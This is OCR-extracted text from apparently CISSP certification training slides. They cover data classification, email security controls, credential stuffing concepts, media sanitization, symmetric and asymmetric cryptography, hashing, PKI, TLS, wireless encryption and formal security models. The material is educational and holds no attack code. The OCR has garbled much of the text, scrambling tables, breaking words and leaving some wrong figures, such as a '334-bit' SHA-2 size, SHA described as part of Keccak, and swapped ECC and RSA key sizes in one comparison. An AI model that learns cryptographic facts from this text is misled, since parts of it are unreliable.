STRONTIUM, Tsar Team, and Threat Group-4127)

Ry
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* Example of data in main memory collected to identify cryptographic keys
stored in live systems

Data Exfiltration

Defining Asset
Classifications and Controls

» Asset classifications should match the data classifications

v A computing system processing secret data should contain data and |
peripherals no greater than secret

] v iti
v’ Assets should utilize clearly marked hardware assets to ensure i) Sens-ltlve
personnel process or store proper data levels v' Public
« Asset Controls 8 For each type of data specify the control applied to each of the following
v' Asset controls should be inline with each of the types of protections f data obJe.cts
| needed I v' Emails & Attachments
4 o Confidentiality b
o Integrity
o Availability

Email Data Security

Classification Security Controls

Confidential / Proprietary « Email and attachments must be encrypted with AES 256 § . Organizes must have an incident hand”ng and breach notification system

Question Set #1

Email Data Security

+ Create an email data security policy for each of the following types of data: |
v’ Confidential / Proprietary :
v' Private (i.e. PIl & PHI)

Handling Information and Assets

Email and attachments remain encrypted except when viewed M in the event of a data breach

Email can only be sent to recipients within the organization
Email can only be opened and viewed by recipients

v" Forwarded emails cannot be opened o v
Attachments can be opened and viewed, but not saved
Email content cannot be copied and pasted into other documents
Email cannot be printed

Private — PIl / PHI « Email and attachments must be encrypted with AES 256

Email and attachments remain encrypted except when viewed

S S

Email can only be sent to recipients within the organization
Sensitive + Email and attachments must be encrypted with AES 256

Public < Email and attachments can be sent in cleartext

z; I« Historical examples of significant security breaches:
o Yahoo, 2013, 3 billion credentials

Yahoo, 2014, 500 million credentials
Office of Personnel Management, 2015, 22 million personnel records
Marriot, 2018, 500 million credentials
First American Financial, 2019, 885 million credentials
Facebook, 2019, 540 million credentials




Credential Stuffing

Al-enabled authentication
attempts reduce the
chance of account lockout

3

v Credentials are often reused
v By finding known compromised credentials, attackers
g can use them against other systems to authenticate
f v Although success rate is low, large volumes of
compromised accounts makes this a feasible attack

YZT Breach/larm
: :
Attacker establishes

The Dark Web

botnet or computing

environment to test

credentials against
various servers

Attacker
Attacker collects known C&C

ompromised credentials from
rious open and closed sources

e & e e

Botnet

Storing Sensitive Data

v Encryption can be applied at many data layers
o Physical media protection
= Locked safes

= Secure facility
= Restricted personnel access
o File System & Operating System Encryption
= Built-in encryption protects both file and volume
= Windows: BitLocker, EFS (File System)
= Linux: FDE
o Data Encryption
=  Windows, Linux: AESCrypt Application

Data Sanitization Examples

Sanitization Method

Clearing * gpart
+ dd
» Clonezilla
Purging » Firmware Secure Erase command

» Disk Degaussing
Destroying  Disintegration

* Incineration

* Pulverizing

» Shredding

* Melting

citibank

w

amazon

i
Sanitzation Method

Clearing

Destroying

Marking Sensitive Data and Assets

”

|
Marking sensitive information makes certain users can identify data,é
classifications and includes physical and electronic marking and
labels
Data Loss Prevention (DLP) technologies track marked digital )
documentation N
Data that resides on a lower classification system can transmit data |
to a higher classification level, but to prevent the reverse Cross
Domain Solution (CDS) or “data diode” are used to prevent data
transfers

Data Sanitization

A data retention policy specifies when data is no longer needed and the procedure
for disposing of the data

NIST SP 800-88 “Guidelines for Media Sanitization” defines three data sanitizatio
methods

Technique used to sanitize data in user-addressable storage
locations for protection against simple non-invasive data
recovery techniques by using read and write commands to
rewrite new values or reset the device to original state
Physical or logical techniques that render data recovery -
infeasible using state of the art laboratory techniques |
Renders data recovery infeasible using state of the art %
laboratory techniques and results in the subsequent inability
to use the media for storage of data 4

Data Ownership

NIST 800-18 specifies personnel responsibilities relative to data
ownership and management and defines data ownership across
federal information systems
v' Data Owners

Asset Owners

Business / Mission Owners

Data Processors °Y
INFORMATION SECURITY ’ﬁ
Pseudonymization :
Anonymization
Administrators
Custodians

Users

BN e NS







" Domain Topics

2.5 Determine Data Security Controls

3.5 Assess and Mitigate the Vulnerability of Security Architectures,
Designs, and Solutions

3.9 Apply Cryptography

ISC2 CISSP Training

Cryptography and Symmetric Key Algorithms

CISSP*

i

Certified
Information
Systems Security
Professional

- Cryptography

Derived from Greek meaning “hidden writing” and is used to
reinforce the security principles (C-I-A) and non-repudiation
v’ Confidentiality
o Cryptography provides confidentiality or data at rest, in
motion, and in use
=  Symmetric — Private
= Asymmetric — Public
v’ Integrity
o Data manipulation is detected with message digests and
digital signatures
v’ Authentication
o Cryptosystems provide verification of claimed identity
¥ Nonrepudiation
o Provides confirmation of message origin

Cryptography Introduction

L

Ehcryption and Decryptivo'ﬁ

Encryption is the process of taking plaintext and applying a key to generate ciph
v’ Plaintext
o An unmodified message or data object
o Also known as cleartext
v’ Ciphertext

o The resulting encrypted message or data object
v Key
o Aunique value known only to the data owner

=  Symmetric

= Asymmetric Key

&itjksdla98)*FIPAS

: V'A(‘:ry'putographic Concepts

* Cryptographic concepts to be familiar with:
v’ Zero-Knowledge Proof
o Proving that a data object is owned without revealing the objec
itself
o Digital Escrow
v" One-Way Function
o Anirreversible process that provides data integrity checking
o Hashes / Message Digest / Prime Number Factorization
v Two-Way Function
o Areversible process that provides data confidentiality
o Encryption / Decryption

l Ciphertext

U2FsdGVkX1/2uzD4UD8uAbgzHgWwis+
= dhm/QNSAD0/2tV27EMVWI/PZufigaYD

Plaintext

Destroy the bridge at i
Yy g > Encryption

2300, 12 February A Algorithm

<ot
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i bryptographic Concepts ' Kerckhoffs's Principle

Addition cryptographic concepts:
v Split Knowledge
o Multiple users aggregate privileges to perform an operation
v' M-of-N Control

o Minimum number of agents (M) of the total population (N) work together
to perform high-security tasks

Mathematician Auguste Kerckhoffs proposed that security of a
messages sent through a cryptographic system will remain secure
even if an attacker has full knowledge about the algorithm used to
implement it

Security of any cryptographic system is then dependent on the
protection of the key used to encrypt the message

Greater public scrutiny produces rigorous analysis and exposes
cryptosystem vulnerabilities leading to stronger algorithms

Claude Shannon would later add that “one ought to design systems
under the assumption that the enemy will immediately gain full
familiarity with them”

v" Nonce
o Arandom number generated to provide a one-time unique value
o An Initialization vector (IV) is an example of a nonce
v Work Function
1 o The effort required to conduct a brute-force attack against a cryptosyst_v

SR » S S

" Cryptographic Operations

'« Common mathematical operations used in cryptographic algorithms :
v' AND, OR, NOT, NAND, NOR, XOR

[ X | Y | Out] [X | v out]
00 0 00 o0

AND OR Nnor 0 O

01
Cryptographic Primitives 10
i |l

= B o

1
0
1

NAND NOR

OOOAE - - -
-E
----H

0
0
1
=
1
1
1
0

.ddacg
-o--H
—\—\QOH
-o--H

o - S

st e 7 SRR

" Exclusive OR " Exclusive OR

For the following set of binary data, what is the output of the XOR operation for
the following inputs?

v X=10011110
v Y =00001011

The exclusive OR operation is a common cryptographic primitive used to
obfuscate data

= The function takes binary values and assigns a one if the values are different
and a zero if the values are the same

XOR can also detect changes in data

00001011

Y Y
x| ¥ out] EIRaET

l 00 0 l
0 1 1

0 1 1
X -+~ out L X -~ out 10 1
11 0 10011110 10010101 i) O
¥ éi: i v ét’;'



Modular Arithmetic

The modulus calculates the remainder of the division operation

» Also known as clock arithmetic, modular arithmetic will be a key component
for understanding the RSA asymmetric cryptosystem

P 0mod5=0
1 mod 5 =1
2mod5=2
3mod5=3
4mod5=4
5mod5=0
6 mod5 =1
7mod 5 =2
8mod5=3
9mod 5 =4
10 mod 5 =0

Question Set #1

e ‘ Cipher L

An algorithm that turns plaintext into ciphertext to provide confidentiality
2-way functions

v Encryption < Decryption
Historical ciphers utilized either a substitution or transposition method to{%%
encrypt messages 5
Modern ciphers depend on the secrecy of the key used to encrypt and
decrypt a message i

Historical Ciphers

W ‘ Caesar Cipher

~ * The Caesar Cipher is a basic substitution cipher using alphabet rotation
R ChErc R ib R = Although traditionally rotated by 3, any value can be used to shift the alphabet
B o . PLMOKNIJBUHVYGCTFXRDZESAWQ L v Alphabet rotations will introduce us to the concept of modular arithmetic
P ftolciphers % I« The shiftis applied to all letter in the alphabet

Substitution vs. Transposition

Substitution Cipher
v' Replacement of one fixed value with another

o Caesar, Vigenere, Playfair Cipher
« Transposition Cipher

v' Positional values are rearranged and provided as a key for encryption and
decryption

v' Transposition ciphers
* Route, Columnar, Double, Myszkowski
12345678910 11121314

ATTACK AT DAWN
D TAKW TACTANA

117 28613109 15 3 4 1412

* The alphabet rotation is not cryptographically secure and is vulnerable to
frequency analysis
ROT-0 ABCDEFGHIJKLMNOPQRSTUVWXYZ ‘.|

ROT-3 XYZABCDEFGHIJKLMNOPQRSTUVW

ROT-13 NOPQRSTUVWXYZABCDEFGHIJKLM




Vigenére Cipher ~ Vigenére Cipher Example

Plaintext

Plaintext
\Insteadofusmgaslngle‘ _””EF‘:T' o Ty vafviu m
alphabet, the Vigenére Cipher el Shioete VX[ ElAle BEEEEEGE SIoleTalsts VT2[Als
uses multiple alphabets e olPlalals AL olElelelull SlalalsTTTulv AToTels
F ] T v [ E

/Ke & T - T Wi 5 > F - G|H|!I K o Q u Wi B 07
o GG HrEhpilere e e e SEh -t

essage 0 FTx[olclole i B olPlalaTs T 0 NOEOEEGOE

R A[B[C[D ] .

This is also known as arunning  Key o AL clole ) l%l o b e LINAE] PICKLE

. . P R u X c F|G 1y L
key cipher when using a book z z slelofelelolHl ]y alR[s vIZ[Alo G [ [T ] !

r S 0 alR[S[T z[Ale[c ] L[uin HMEBPX
for key generation g B 0 L Pla U Al[c[D T wlnlo
% QR (B:C I‘ R v C E H|l N P
- Ciphertext can be calculated v 5 Al o1 oty sl o
W] = 1y
: e eteelel et : e e
o AR et e L el g T
_( ) W A[B[C[D[E[F K N[o[P[a[R[S[T [ ;‘ BlC[D[E[F|G|H[T]|J][K o[P[Q[R[S
B|C|D|E[F|G HJKIL RIEE u B VI C|D|E[F BFGEN Pla T v
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o " Block vs. Stream Ciphers

When encrypting messages, it is necessary to determine the size of both keyé énd mess:
blocks

v Key Size
- v Block Size

There will be times when it is necessary to select between block vs. stream ciphers due
~hardware constraints

» Block Ciphers

» AOTP is the only unbreakable cryptographic
system

» An extension of a substitution cipher that use:

different substitution alphabets for each letter
the plaintext message

 Diaibacks: v Encry;.>tion is performed on data blocks :Ert
v Key Length = Message Length e Pl e
v Encryption is performed on characters aintext
v OTP can only be used ONCE - v Application specific hardware oy _»
v Logistics of key distribution o Lowpower 25601 o

Symmetric Key Distribution Proble

Keys To Distribute

'J“ysl“yl"r'l‘rﬁetric Key Algorithfrié

Private Key Algorithms require the same key pair for each set of parties to eﬁérypt and
decrypt data

v Two symmetric keys for EVERY communication pair
Private Key Algorithms can not be used to create digital signatures
Benefit: Computational Speed

o @ e @ 1
5 :

Key,

. @

Key,

=

ey, Key;
0 o o @ 12

ey,

2
Drawback: Key distribution ey %
3
Key, Key, Key,
Key 2 Ko . f
Plaintext Ciphertext 5
.
Keyy
Destroy the bridge at U2FSdGVKX1/2uzD4U Keyiy Kese Keys
2300, 12 February Enci ption D8uAbgzHgWwis+Tdh Keyz Keys, Keygs
—_— I m/QNSADO/2tV27EM V2t Kevs, Kevss
Process —>  WiPzunsavow Ko ‘ Ko o Kere . Key.
s
Keyz Keyy; Keyg Keyz 28
Keyzy Keyia Keyia Keysy
o o @
Pll_!nhn Ciphertext Keyes
i Keysy Keyis Keyyy e 2
o h‘. S U2FsdGVkX1/2uzD4U %ii” i Q:ys Keya g 5
estroy the bridge at Ny D8uAbgzHgWwis+Tdh st . 55 . 57
2300, 12February < ummm— Decryption m/QNSADO/2tV27EM Ko o e .
% Process VWI/PZufiaYDw

ey : n*(n-1)/2






" International Data Encryption Algorithm

- The International Data Encryption Algorithm (IDEA) block cipher was developed t
address security concerns with DES
IDEA operates on 64-bit blocks of plaintext while mixing in a 128-bit key

v The key used in IDEA is segmented using 52 rounds of 16-bit subkeys

v IDEA subkeys act on the input text using a combination of XOR and modulus
operations to produce the encrypted or decrypted versions of the input
message

IDEA can also be configured into the same modes utilized by DES
v ECB, CBC, CFB, OFB, CTR
IDEA was used to in the Pretty Good Privacy (PGP) secure email package

Key
128 bits

' 2 :

64 bits =) IDEA m—p> 64 bits

Tri‘ple Data Encryption Standard

+ Due to inherent problems with the 56-bit DES key, it was necessary to reinforce the algorithi

« 3DES has four variations
v DES-EEE3
o Encrypts plaintext three times, using three different keys ‘
o Iﬂlgag key strength of 168 bits, but known reduction attacks make the effective key strength of
its 3
v DES-EDE3
o Uses three keys but replaces the second encryption operation with a decryption operation
o Effective key strength of 112 bits
v DES-EEE2
o Encrypts plaintext three times, using two different keys
o Isnoitiba_lt key strength of 112 bits, but known reduction attacks make the effective key strength of -
its
v/ DES-EDE2
o Uses three keys but replaces the second encryption operation with a decryption operation *
o gn(;tigl key strength of 112 bits, but known reduction attacks make the effective key strength of
its

Blowfish Skipjack o ;

~ » The mathematician Bruce Schneier created Blowfish as block cipher as a substitu
for DES and IDEA

Blowfish operates on 64-bit blocks of text, but also allows for a variable-length keys
~ ranging from a relatively insecure 32 bits to an extremely strong 448 bits i

~ *» Analysis of the Blowfish algorithm have shown that Blowfish is significantly faster
and stronger than both DES and IDEA

Blowfish was released under the Creative Commons License for public use

‘The Skipjack algorithm was first introduced in Federal Information Processing Standard 185
(FIPS-185) also known as the Escrowed Encryption Standard (EES)

Skipjack operates on 64 bit block of plaintext and uses an 80 bit key

Skipjack was the underlying encryption scheme used in both the Clipper and Capstone chipse! S

¥ The purpose of these chipsets was to provide a backdoor capability for U.S. government
agencies

o NIST and the Department of the Treasury hold critical portions of code that can be

used to reconstruct a Skipjack key

escrow procedures within the U.S. government
Key

32 - 448 bits Koy

80 bits

Plaintext Ciphertext ¥
64 bits > ipj P 64 bits

Plaintext Ciphertext

RC5 - -

» RC5 is a symmetric algorithm patented by Rivest-Shamir—Adleman (RSA)
RC5 is a block cipher that can work on plaintext block sizes of 32, 64, or 128 bits
and key sizes from 0 to 2040 bits
' RC5 was an improvement on the insecure RC2 algorithm
RSA started a competition in 1997 to find a method that could crack an RC5 64 bit
key :
v The completion was completed in 2002 when a large-scale hardware effort
was leveraged to crack a single message

RC4

o The RC series of ciphers were created by Ron Rivest, who was an inventor of the
- RSA public key cryptosystem
RC4 can provide both stream and block encryption capabilities with blocks as smal
~ as 1 byte up to 256 bytes 3
. Depending on the encryption scheme selected, the RC4 key size can be between
40— 2048 bits .
RC4 is the underlying encryption algorithm used in the Wired Equivalent Privacy
(WEP) for wireless encryption, but is insecure due to an insufficient Initialization
Vector (V)

Key
0 - 2040 bits

Plaintext Ciphertext

32 bits 32 bits il i
64 bits — RC5 — 64 bits

128 bits 128 bits &

Key
40 - 2048 bits

Plaintext Ciphertext
8 -2048 bits  ==———)> 8 — 2048 bits




-Aé\;ahCéd Encryption Stahd;;g

'Even with the development of 3DES to reinforce the weaknesses of DES, the U.S.
government sought a new encryption standard

The Advanced Encryption Standard (AES) competition started in 1998 and completed in ;
2000 when the Rijndael cipher, named after the designers Vincent Rijmen and Joan o
Daemen, was selected to replace DES

! Once selected NIST released FIPS 197 titled “Advanced Encryption Standard” which
| required all U.S. government agencies to encrypt all sensitive but unclassified data with AE:

Although the AES standard specifies 128-bit block sizes, the Rijndael algorithm can be
configured to exceeded the specification by allowing block sizes equal to the key length

» Another concept to consider is that of encryption rounds which indicates how many
iterations are run based on key length

Key
128 bits 10 rounds
192 bits 12 rounds
256 bits 14 rounds
Pl;intext Ciphertext
R e “ T

128 bits

e

R

Symmetric Key Management

~ must protect the security of the keying material
Key management practices include any activity relative to key logistics including creation,

v Creation and Distribution of Symmetric Keys
o Offline Distribution

= Physical and Electronic Key Distribution
o Public Key Encryption

= Exchanging secret keys over secure public key link and then switch from public
to secret key algorithm

o Diffie-Hellman Key Exchange algorithm

= When public key encryption or offline distribution can not meet security
requirements, Diffie-Hellman Key Exchange is used

* DH is an asymmetric algorithm that is more efficient than private key excha
methods 3

e

Question Set #3

uce Schneier, the inventor of the Blowfish algorithm, also developed the Twofish algorith
which was one of the AES finalists

Twofish is a block cipher that operates on 128-bit data blocks and uses a 256 bits encryptiol
key v

One of the unique characteristics of the Twofish algorithm | the use of prewhitening and
postwhitening

Twofish

¥' Prewhitening

o XOR plaintext with a separate subkey before the first round of encryption
v' Postwhitening
o XOR final round of encryption with a separate key before competition

Key

256 bits
Plaintext l Cipl
128 bits ====p| Twofish |=====p 128 bits

i

s

WCrybtographic Lifecyclve' "

Besides OTP’s, all cryptographic systems have a limited life span

As processing power increases, brute force techniques continue to test
key strength

Organizations must develop policies that specify governance of
cryptographic applications

v Algorithms Selection

v Protocol Selection

v'Key Lengths Requirements

v Block Length Requirements

v Encryption / Decryption Speed

v'Key Exchange Requirements

Questions
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o RSA Algorithm

1) Select 2 large prime numbers; p & q

RSA

RSA is a key cryptosystem named after its inventors Ronald Rivest,

Adi Shamir, and Leonard Adleman p=5ig =i
» The RSA algorithm depends on the computational difficulty in 2) Multiply prime numbers; N
factoring very large prime numbers N =65

Unlike, symmetric cryptosystems, RSA works by generating a pair of 1
public and private keys used in encryption, decryption, and non-
repudiation

3) Calculate Euler’s Totient; ¢(n)
o(n)=(p-1)(q-1)
¢(n) =48
4) Select encryption value, e
v'Where e is between 1 < e < ¢(n) and coprime with N and

$(n)

The RSA algorithm is now in the public domain and widely used for
secure communication across numerous industries

1 <e <48 and e is coprime(65,48) By
e=11 8

a2

"~ RSAAIgorithm

RSA Encryption / Decryptlon

'+ Using the results from the RSA algorithm we can utilize a familiar equatlo
~for encryption and decryption
Encryption Values

v'e=11, N=65

¥ Plaintext = 0 => 48

5) Calculate decryption value, d
v Where d*e (mod ¢(n)) = 1
11*d (mod 48) = 1
d=2r=22, d=3 r=33, d=5r=7, d=7 r=29, d=11 r=25, d=13 r=47,

d=17 r=43, d=19 r=17, d=23 r=13, d=29 r=31, d=31 r=5, d=35 r=1 pe(mod N) = ¢
48"(mod 65) = 42

! Bh T Decryption Values
35 is the multiplicative inverse of 11 :

v d=35, N=65
v Ciphertext = 25
cd(mod N) = p
& & 42%5(mod 65) = 48 i
e S e g 7 A ¥ 7
Merkle-Hellman Knapsack " El Gamal

~ » The Merkle-Hellman Knapsack was an early asymmetric algorithm
- developed in 1978 and based on factoring operations

the Diffie—Hellman key exchange algorithm could be extended to create
public key cryptosystem for both encryption and decryption

El Gamal was released into the public domain upon release and was a
advantage over RSA

Unlike RSA, M-H Knapsack did not depend on large prime numbers but
on a mathematical structure known as super-increasing sets :

M-H Knapsack was cracked only 6 years after it's introduction and is n
longer used

A significant drawback of the El Gamal algorithm is that encryption
operations result in CT double the length of the original PT

s
5



Elliptic Curve Cryptography

* Neal Koblitz from the University of Washington and Victor Miller from IBM
independently proposed the idea of Elliptical Curve Cryptography in 1985 where
the following equation and is based on the difficulty of solving the discrete
logarithm problem

Key Strength Comparison

= ltis important to understand that key strength is not equal when
comparing different cryptographic algorithms

= For example, to have the same resistance against brute force attacks for
a 192-bit AES key, the key size for ECC and RSA would need to be
7,680-bits and 384-bits respectively

y2=x3+ax+b

» Agreat benefit of ECC versus other asymmetric algorithms is that it provides
much stronger encryption with a much smaller key size

« ECC is well suited for small power electronics requiring encryption due to its L NIST Guidelines for Public Key Sizes for AES
small payload and ability to encrypt bits versus blocks Ecc(l;;y)xiz RSA(t;y):iu Key size Ass(t_ry)f-u
i3 its] its, ratio its

B 163 1,024 1:6

o 256 3,072 1:12 128 e
r 384 7,680 1:20 192 %
£ 512 15,360 1:30 256 £

1ding-elliptic-curve-cryr y

Asymmetric Key Generation

Key Related Definitions

» Key Exchange
v In-Band
o Keys exchanged within the same communications channel
v Out-Of-Band
o Keys exchanged outside of the communications channel
» Forward Secrecy

v During a session setup, a long-term key is created by a server which is o 1oz be y
then used to create shorter term session keys B Dy AV YOLBSFODUK NG
| -- 96]

» Applications can either receive keys from an external source or can
generate them internally

» Applications such as Secure Shell (SSH) can generate keys with built-in v{
functions |

v/ Compromise of a session key will only affect a single set of messages ;»»
since session keys are updated by long-term keys while the channelis | |
maintained »

v* All future transmissions will be protected

o Asymmetric Key Pair
| Public Key

Private Key

Hash Functions




Hash Functions
A cryptographic hash function is a one-way function that can take in an arb|trary
size input and output a fixed length value

When a message is processed through a hashing algorithm it generates a
“message digest” and is synonymous with the following terms

v Checksum
v' Hash

Meséége Digest Algorithr'r’l'

The message digest algorithm is a hashing function that results in a 12
bit output regardless of the input to the algorithm
~ Ron Rivest from RSA was the developer of message digest algorithm
and implemented numerous iterations

v' Cyclical Redundancy Check (CRC) $ie
o 18 rounds
v Fingerprint / Dlgltal ID v MD4 (i.e. NTLM)
A cryptographic hash function is mathematically impractical to reverse o 3rounds
The following hash functions will be addressed on the CISSP exam v MD5
v SHA-1, SHA-2, SHA-3 Byt o 4 rounds
v MD2, MD4, MD5 — Hash v MD6
B = => |, Jash L 826275c13b413a8bd417b5ed00 bl
5 g = gorithm ¢
gy e R o)

Secure Hashing Algor|thrr;' »

- A hashing algorithm originally designed by the National Security Agency (NSA) :
and part of the Keccak algorithm

There have been three versions of the SHA
v' SHA-1
o 160-bit
o SHA-1 is vulnerable to collisions and no longer used
v SHA-2
o 224-bit
o 256-bit
o 334-bit
o 512-bit
v SHA3
o Variable X

Digital Signatures

Ey ey e

Based Message AUthe“t'cat'O“'COde 3 Digital Signature Standard

NIST developed a standard for digital signature
algorithms in 2013 under FIPS 186-4, known as the
Digital Signature Standard (DSS)
~ The DSS specifies only one approved digital
signature algorithm within the U.S. government

¢ SHA-3
DSS also specifies the following encryption
algorithms to support digital signature infrastructure:

ash-

~ HMAC is a function that combines both hashes and symmetric encryptlon
keys to create a digital signature

¥' Hash selection (i.e. MD5 / SHA)
v’ Shared Key
v" XOR Output

*  HMAC resolves security related issues in MD5 and SHA hashing algorithms

FIPS PUB 1864

D
| wmps [ 5d41402abcdb2aT6b9719d911017c592 « Digital Signature Algorithm (DSA)
= * FIPS 186-4
Key * The Rivest-Shamir—Adleman (RSA)
11111111111111111111111111111111 . ANSI X931
Hash HMAC The Elliptic Curve DSA (ECDSA)

5d41402abc4b2a76b9719d911017¢592 = =P 4c50513bad5a3b67a8608c800106d483




Free Password Hash Cracker




Certificates

| Y Digital certificates
| v Certificate Authority (CA)
o Certificate Enrollment
o Registration Authority (RA)
o Certificate Verification
o Certificate Revocation List (CRL)
o Online Certificate Status Protocol (OCSP)
o Certificate Revocation
o Certificate Revocation List (CRL)
o Online Certificate Status Protocol (OCSP)

' X.509 Certificate Types

Wildcard Certificate

v  Instead of obtaining a certificate for a single domain, a wildcard
certificate allows all subdomains to be secured

- Code Signing Certificate

v To combat the spread of malware, certificates are used to validate code
and applications :

Machine Certificate

v" An X.509 certificate used by a machine for system authentication

Email Certificate

v' To communicate securely, email utilizes the Secure Multipurpose
Internet Mail Extensions (S/MIME) protocol which utilizes the contents
X.509 certificates

Code Signing Certificate

Signed Code

Unvalidated g
Unvalidated
Code Code
Private Key
[ Hash | _Hash |Encryptian| Digital
'| Function I | Algorithm I o Signature
Code Signing
Certificate
» Signed Code includes:
v’ The original code
v' Digital signature

v Code signing certificate

Public Key Infrastructure (PKI) requires some fundamental building blocks |

* Subject Alternative Name (SAN) allows additional information to be added to

X.509

X.509 is a standard specified by the International Telecommunication Union
(ITU) for the proper formatting of public certificates

RFC 5280 specifies all X.509 fields including:

v Version 1 Certicae -

v' Serial Number General Detals Certification Path

v' Algorithm Identifier Show: [0 e

v’ |ssuer Field Value A
[E)version va

Ve Va"dity Period =] serial number 2h2e6eeada75366¢ 148abech.
Eswgnamre algorithm sha384R5A

i Signature hash algorithm sha3g4
/ SUbJeCt Dlssuer COMODO RSA Certification Au...
. Valid from Tuesday, February 11, 20147,
v Issuer Umque ID gvahdm Sunday, February 11, 20296:..,
A . ihinet FOMONO RSA NAmsin Usida Y
v’ Extensions

certificate and can include domain and IP address information

Wildcard Certificate

Single Certificate i i
For Top Level Domain (TDL) Wiidogel = o8

Certificate

havingfun.com

Certificate
email.havingfun.com

*.havingfun.com
blog.havingfun.com

events.havingfun.com

2 2 3

Certificate Formats

When implementing certificates, there are different formats when
importing and exporting

Distinguished Encoding Rules (DER) Certificate

v' Binary DER encoding (.CER or .CRT)

PEM

v Base64 encoding

v “-BEGIN”

PFX

v  Certificate archive format for PKCS #12

CER

v Interchangeable with .CRT
P12

v PKCS #12

P7B

v PKCS #7

v/ Base64 encoding

Export File Format
Certificates can be exported in a variety of fie formats.

Select the format you want to use:

(®)DER encoded binary X.508 {.CER)

() Base-64 encoded ¥.509 (.CER)

(O Cryptographic Message Syntax Standard - PKCS #7 Certificates (,P78)

T



v' Microsoft Outlook

v’ Office 365

v Mozilla Thunderbird

v' Mac OS X Mail

v GSuite Enterprise edition

the protocol does support AES and 3DES

Transport Layer Security

TCP Session

Applied Cryptography

e e

ecure / Multipurpose Internet Mail Extensions

n S/MIME is a de facto standard for encrypted email which uses RSA encryption
S/MIME s incorporated into several commercial and open source email products

S/MIME utilizes X.509 certificates for exchanging cryptographic keys

The public keys in SIMIME are used for digital signatures and for the exchange o
symmetric keys used for longer communications sessions

RSA is the only public key cryptographic protocol supported by S/IMIME although

Cr A — Certificate

Key

Data Sent Over TLS Secured Channel

" Pretty Good Privacy

= Introduced in 1991, PGP establishes a “web of trust”, but implementation was
hampered by ITAR export regulations which treated encryption as munitions and
prohibited distribution of encryption outside the United States

PGP offers two versions
v. Commercial

o RSA for key exchange
o IDEA for encryption and decryption
o MD5 for hashing
v Freeware
o Diffie-Hellman for key exchange
o Carlisle Adams/Stafford Tavares (CAST) for encryption/decryption
o SHA-1 for hashing
GP-based email services include StartMail, Mailvelope, SafeGmail, and Hush

By

- Transport Layer Security
"« After a TCP handshake is completed, TLS has a procedure to establish
a session between a client and a host

In order to send secure transmissions between a client and web server,
it is necessary to:

v’ Establish a session
v Transfer cryptographic keys
v Send data over a secure channel

N i

TCP Session

Cryptography Agreement
Certificate
-

Data Sent Over TLS Secured Channel

‘Steganography and Watermarking

» Hiding media in media

Electronic watermarking

0. | © Time Source [T — R —

T T T s O P T T TS50 < Feeps(379) (VNI Sea0 Win-ea0 Teno0 WES1300 W-128 SACK FER-I TVAI-1322379550 T8eer0)
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Wireless Encryption Wired Equivalent Privacy

« Although we will address wireless technologies later in the course, we will | | » Designed to provide privacy equivalent to a wired network
introduce encryption methods used within the IEEE 802.11 standard :

* WEP uses RC4 encryption i
|+ Wireless technologies utilize stream ciphers in many applications + Maijor flaw in WEP is the utilization of a 24-bit Initialization Vector (IV) |
v RC4 which is vulnerable to a brute force key attack
v ECC

» The three wireless encryption types that we will address include:

WEP Wired Equivalent Privacy
WPA Wi-Fi Protected Access
WPA2 Wi-Fi Protected Access 2

Wi-Fi Protected Access Wi-Fi Protected Access 2

. * WPA2 requires Counter Mode with Cipher Block Chaining
» WHPA utilizes Temporal Key Integrity Protocol (TKIP) to improve the i Message Authentication Code Protocol (CCMP)

security of WEP o
* A 128-bit wrapper is used around WEP encryption
e The TKIP wrapper utilizes:

v' Destination MAC Address

v Packet Serial Number
» Even with these improvements, TKIP is insecure

» CCMP uses 128-bit encryption with a 48-bit initialization vector
* Implements the entire IEEE 802.11i standard

Wi-Fi Protected Access 3*

| = WPAS improves on the security of WPA2 and provides the following modes o |
of operation

v" WPA3 Personal (WPA-3 SAE) Mode
o Static passphrase-based authentication
v' WPAS Enterprise (WPA3 ENT) Mode
o Requires management frame protection
o Optional 192-bit cryptographic suite
v" Wi-Fi Enhanced Open Mode
v Increases privacy in open networks

v’ Prevents passive eavesdropping by encrypting traffic even when a f
password is not used

Question Set #2
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" Trusted Computing Base

{5 5

Security Models

TCB was introduced in DoD Standard 5200.28 named Trusted :
Computer System Evaluation Criteria (TCSEC) - “Orange Book” in 1983
Hardware, software, and security controls that combine to form a
trusted computing base to enforce security policies

A computer security model is a framework to specify and enforce securi
policies and access rights :

The CISSP exam will test your understanding of several different security

models: ; g “» Two key components of a TCB include:
v Trusted Computing Base v Access Control Matrix v Security Perimeter
v State M?Ch'”e Model % BfaII-LaPadula v'A security boundary that separates a TCB from the rest of a
v Information Flow Model v Biba system and prevents insecure interactions from occurring
¥" Non-Inferential Model v' Clark-Wilson v' Reference Monitors and Kernels

v Take-Grant v' Brewer-Nash

S

i : State Machine Model
- Many security models are based on a secure state concept which provide
a snapshot of a system at a specific moment in time :
Only if every aspect of a state adequately meet security baselines, is the
state considered secure ;
A secure state machine model system always boots into a secure state,
maintains a secure state across all transitions, and allows subjects to
access resources only in a secure manner compliant with the security
policy

" Trusted Computing Base

Security Kernel
Security Kernel Provides: "
V' Lists HW, SW, and Controls Security
v Enforces Access Perimeter
v Enforces Security Policy

nce Monitor Provides: Somputing System
~ Access Rules
 Validates Access
es Security Policy ity
Al 0 RN ‘ aiel

by-an-ITN_fig5_308728154 E

BT T

S

: ‘Information Flow Model

Not
The information flow model is based on the state machine model and Aass

tracks flows types into and out of the system
* Information flow models prevent unauthorized, insecure, or restricted
information flow between different security levels
» Information flows can be between subjects and objects at either the
same classification or different classification levels

» Information flow models allow authorized information flows within the
~same classification level or between classification levels and prevents
unauthorized information flows within the same classification level or
between classification levels

Sensitive

Depends on data flow properties, not just flow direction. If a lower-level user were
to attempt to write lower-level information to a higher level, the model would
.~ evaluate the information properties to determine if that operation was allowed

s




Noninterference Model Noninterference Model

High
Classification

Focused on how a subject at a higher security level affects the system
state or the actions of a subject at a lower security level

|+ Higher level subject actions should not affect lower-level subject actions
» If a higher-level subject can affect a lower-level subject, then the lower-

level subject may experience an insecure state or can infer information at
a higher classification |
If this set of conditions occurs, then a covert channel could be established
The Goguen-Meseguer Model is the foundation of the noninterference
model

Limited

Low
Classification

Any actions taken by users at different levels are not detected across levels

Take-Grant Model Access Control Matrix

The Take-Grant model uses directed graphs to specify how rights are passed
between subjects or objects

A subject with grant rights can grant another subject or another object any other
right they possess while a subject with take rights can take rights from subjects

Take-Grant Rules:
v Take rule
o Allows a subject to take rights over an object

~» Atable of subjects and objects that identifies actions or functions that
each subject can perform on each object

* Each column of an ACM is an access control list (ACL) that lists valid
actions each subject can perform

* The Graham-Denning Model will make use of subjects, objects, and

access control matrices

¥’ Grant rule ACL
o Allows a subject to grant rights to an object ‘_l_\
